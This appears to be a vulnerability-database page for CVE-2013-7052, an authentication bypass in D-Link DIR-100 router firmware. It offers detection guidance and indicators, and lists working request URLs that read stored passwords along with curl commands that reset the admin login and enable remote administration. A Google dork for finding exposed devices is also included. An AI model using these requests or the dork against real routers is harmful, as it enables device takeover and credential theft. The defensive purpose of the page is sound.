CVE-2013-7052

published 2020-02-04

CVE-2013-7052: D-Link DIR-100 4.03B07: security bypass via an error in the cliget.cgi script

Priority P2 68 critical 9.8 CVSS 3.1

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

D-Link DIR-100 4.03B07: security bypass via an error in the cliget.cgi script

Affected

1 ranges

Vendor	Product	Version range	Fixed in
dlink	dir-100_firmware	—	—

Detection & IOCs extracted from sources · hover to see the quote

path /cliget.cgi↗

path /cli.cgi↗

url http://192.168.0.1/cliget.cgi?cmd=$sys_user1↗

url http://192.168.0.1/cliget.cgi?cmd=easysetup%20summary↗

url http://192.168.0.1/cliget.cgi?cmd=$ddns1↗

url http://192.168.0.1/cliget.cgi?cmd=$poe_user↗

url http://192.168.0.1/cliget.cgi?cmd=$poe_pass↗

url http://192.168.0.1/cliget.cgi?cmd=$pptp_user↗

url http://192.168.0.1/cliget.cgi?cmd=$pptp_pass↗

url http://192.168.0.1/cliget.cgi?cmd=$log_mail_user↗

url http://192.168.0.1/cliget.cgi?cmd=$log_mail_pwd↗

command curl 'http://192.168.0.1/cli.cgi?cmd=$sys_user1=user=admin&pass=c%;$sys_passHash=4%25;commit'↗

command curl 'http://192.168.0.1/cli.cgi?cmd=$sys_remote_enable=1%25;$sys_remote_ip=0.0.0.0%25;$sys_remote_port=80%25;commit'↗

• → Detect unauthenticated GET requests to /cliget.cgi with credential-harvesting cmd parameters such as $sys_user1, $poe_user, $poe_pass, $pptp_user, $pptp_pass, $log_mail_user, $log_mail_pwd, $ddns1 ↗
• → Detect requests to /cli.cgi that include commit commands chaining credential or remote-access changes (e.g., $sys_remote_enable, $sys_remote_ip, $sys_remote_port in the cmd parameter) ↗
• → Flag absence of authentication cookies or HTTP auth parameters on requests to /cli.cgi — the script only checks source IP, not session tokens ↗
• → Use the Google dork to identify exposed devices: search for 'D-Link Systems' inurl:bsc_internet.htm D1 ↗
• → Monitor POST requests to /login.htm followed immediately by unauthenticated GET requests to /cli.cgi from a different source, indicating IP-based auth race condition exploitation ↗

• · Vulnerability is only exploitable on firmware version 4.03B07 (2012-04-10); version 4.03B13 (2013-10-11) is patched — verify firmware version before applying detections ↗
• · The authentication bypass via /cliget.cgi requires no credentials at all — any network-reachable host can exploit it, making network segmentation of the management interface critical ↗
• · The weak authentication race condition on /cli.cgi is IP-address-based only; an attacker on the same LAN segment as a logged-in admin can exploit it without any credentials ↗
• · Remote exploitation risk is significantly elevated if the remote administration feature is enabled ($sys_remote_enable=1), as the attack surface extends beyond the LAN ↗

CVSS provenance

nvd v3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 5.0 MEDIUM AV:N/AC:L/Au:N/C:P/I:N/A:N

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-522